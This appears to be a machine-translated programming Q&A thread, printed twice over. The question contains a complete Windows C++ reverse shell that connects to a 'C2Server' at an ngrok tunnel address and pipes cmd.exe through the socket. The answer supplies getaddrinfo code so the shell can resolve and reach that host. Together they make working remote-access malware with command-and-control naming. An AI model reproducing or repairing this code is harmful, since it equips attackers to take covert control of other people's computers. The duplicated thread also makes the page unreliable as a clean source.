如何让 C++ 接受 ngrok 地址?
How to make C++ accept ngrok address?
我创建了一个简单的 C++ 程序,它使用套接字连接到我的另一台机器。我没有 windows 专业版,所以无法打开 3389 端口,我不想下载其他第三方应用程序,因为我真的很想完成我已经完成的事情。
我正在为格式为以下格式的 ngrok 地址付费:0.tcp.ngrok.io:12345
程序在使用我的私人 IP 地址时运行良好 - 但是当我使用我的 ngrok 地址时,它不起作用。我仍然可以通过其他方式通过 ngrok 地址与我的机器通信,但似乎程序由于某种原因根本没有与该地址通信。我不确定这是否与地址中有字母有关?我不知道 - 我真的坚持这个。我将展示下面的代码,如果有人能告诉我我是否应该做些什么来让它与 ngrok 地址一起使用,我将非常感激——或者如果它没有任何问题并且这是一个问题与 ngrok..
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void RunShell(char* C2Server, int C2Port) {
while(true) {
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL,
(unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function
addr.sin_port = htons(C2Port); //Port received from main function
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL,
NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo,
&pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
//-----------------------------------------------------------
//-----------------------------------------------------------
//-----------------------------------------------------------
int main(int argc, char **argv) {
if (argc == 3) {
int port = atoi(argv[2]); //Converting port in Char datatype to Integer format
RunShell(argv[1], port);
}
else {
char host[] = "0.tcp.ngrok.io";
int port = 12345;
RunShell(host, port);
}
return 0;
}
inet_addr()
仅适用于 IP 点分表示法中的字符串,不适用于主机名。因此,inet_addr("0.tcp.ngrok.io")
将失败并且 return -1
(又名 INADDR_NONE
),因此您正在尝试连接到 255.255.255.255:12345
。但对于 inet_addr("196.168.#.#")
之类的东西(其中 #
是数字 0..255
)它会很好地工作。
您需要使用 getaddrinfo()
来将主机名解析为 IP 地址,例如:
// you should do this only once per process, not per loop iteration...
WSADATA version;
if (WSAStartup(MAKEWORD(2,2), &version) != 0)
{
// error handling...
}
...
addrinfo hints = {}, *addrs;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
char portBuf[12] = {};
if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0)
{
// error handling...
}
//Connecting to Proxy/ProxyIP/C2Host
SOCKET mySocket = INVALID_SOCKET;
for(addrinfo *addr = addrs; addr; addr = addr->ai_next)
{
mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
if (mySocket == INVALID_SOCKET)
continue;
if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0)
break;
closesocket(mySocket);
mySocket = INVALID_SOCKET;
}
freeaddrinfo(addrs);
if (mySocket == INVALID_SOCKET)
{
// error handling...
}
// use mySocket as needed...
closesocket(mySocket);
...
// you should do this only once per process, not per loop iteration...
WSACleanup();
请注意,因为 ngrok
是外部云服务,所以您的 ngrok
主机名将解析为您的 ngrok
服务器的 public 互联网 IP 地址,而不是其私有 IP地址。如果该服务器机器在 router/firewall 后面,您将必须配置 router/firewall 到 端口转发 到 public IP/port服务器的私有 IP/port.
我创建了一个简单的 C++ 程序,它使用套接字连接到我的另一台机器。我没有 windows 专业版,所以无法打开 3389 端口,我不想下载其他第三方应用程序,因为我真的很想完成我已经完成的事情。
我正在为格式为以下格式的 ngrok 地址付费:0.tcp.ngrok.io:12345
程序在使用我的私人 IP 地址时运行良好 - 但是当我使用我的 ngrok 地址时,它不起作用。我仍然可以通过其他方式通过 ngrok 地址与我的机器通信,但似乎程序由于某种原因根本没有与该地址通信。我不确定这是否与地址中有字母有关?我不知道 - 我真的坚持这个。我将展示下面的代码,如果有人能告诉我我是否应该做些什么来让它与 ngrok 地址一起使用,我将非常感激——或者如果它没有任何问题并且这是一个问题与 ngrok..
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void RunShell(char* C2Server, int C2Port) {
while(true) {
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL,
(unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function
addr.sin_port = htons(C2Port); //Port received from main function
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL,
NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo,
&pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
//-----------------------------------------------------------
//-----------------------------------------------------------
//-----------------------------------------------------------
int main(int argc, char **argv) {
if (argc == 3) {
int port = atoi(argv[2]); //Converting port in Char datatype to Integer format
RunShell(argv[1], port);
}
else {
char host[] = "0.tcp.ngrok.io";
int port = 12345;
RunShell(host, port);
}
return 0;
}
inet_addr()
仅适用于 IP 点分表示法中的字符串,不适用于主机名。因此,inet_addr("0.tcp.ngrok.io")
将失败并且 return -1
(又名 INADDR_NONE
),因此您正在尝试连接到 255.255.255.255:12345
。但对于 inet_addr("196.168.#.#")
之类的东西(其中 #
是数字 0..255
)它会很好地工作。
您需要使用 getaddrinfo()
来将主机名解析为 IP 地址,例如:
// you should do this only once per process, not per loop iteration...
WSADATA version;
if (WSAStartup(MAKEWORD(2,2), &version) != 0)
{
// error handling...
}
...
addrinfo hints = {}, *addrs;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
char portBuf[12] = {};
if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0)
{
// error handling...
}
//Connecting to Proxy/ProxyIP/C2Host
SOCKET mySocket = INVALID_SOCKET;
for(addrinfo *addr = addrs; addr; addr = addr->ai_next)
{
mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
if (mySocket == INVALID_SOCKET)
continue;
if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0)
break;
closesocket(mySocket);
mySocket = INVALID_SOCKET;
}
freeaddrinfo(addrs);
if (mySocket == INVALID_SOCKET)
{
// error handling...
}
// use mySocket as needed...
closesocket(mySocket);
...
// you should do this only once per process, not per loop iteration...
WSACleanup();
请注意,因为 ngrok
是外部云服务,所以您的 ngrok
主机名将解析为您的 ngrok
服务器的 public 互联网 IP 地址,而不是其私有 IP地址。如果该服务器机器在 router/firewall 后面,您将必须配置 router/firewall 到 端口转发 到 public IP/port服务器的私有 IP/port.